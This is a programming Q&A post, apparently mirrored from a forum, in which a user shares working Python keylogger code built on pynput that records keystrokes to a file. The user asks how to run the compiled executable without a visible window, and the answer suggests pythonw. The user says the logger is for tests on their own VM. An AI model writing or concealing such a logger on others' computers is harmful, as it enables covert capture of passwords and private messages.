简体   繁体   中英

How to run a python script executable in the background

I am running python 3.6 and i made a keylogger to test on my VM. I converted the keylogger to an executable using pyinstaller. The keylogger works great but, when i run it, it opens a black window and when i close it, it stops the program. I want to have it so I can run the executable in the background.

EDIT: I am using Windows 10

from pynput.keyboard import Key, Listener
import logging

log_dir = ''

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

If you don't want any console window to appar under windows. Do start On windows, execute it with pythonw . The hotkey is Windows + r

pythonw C:\Users\yourUser\Desktop\hidden.py

在此处输入图片说明

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM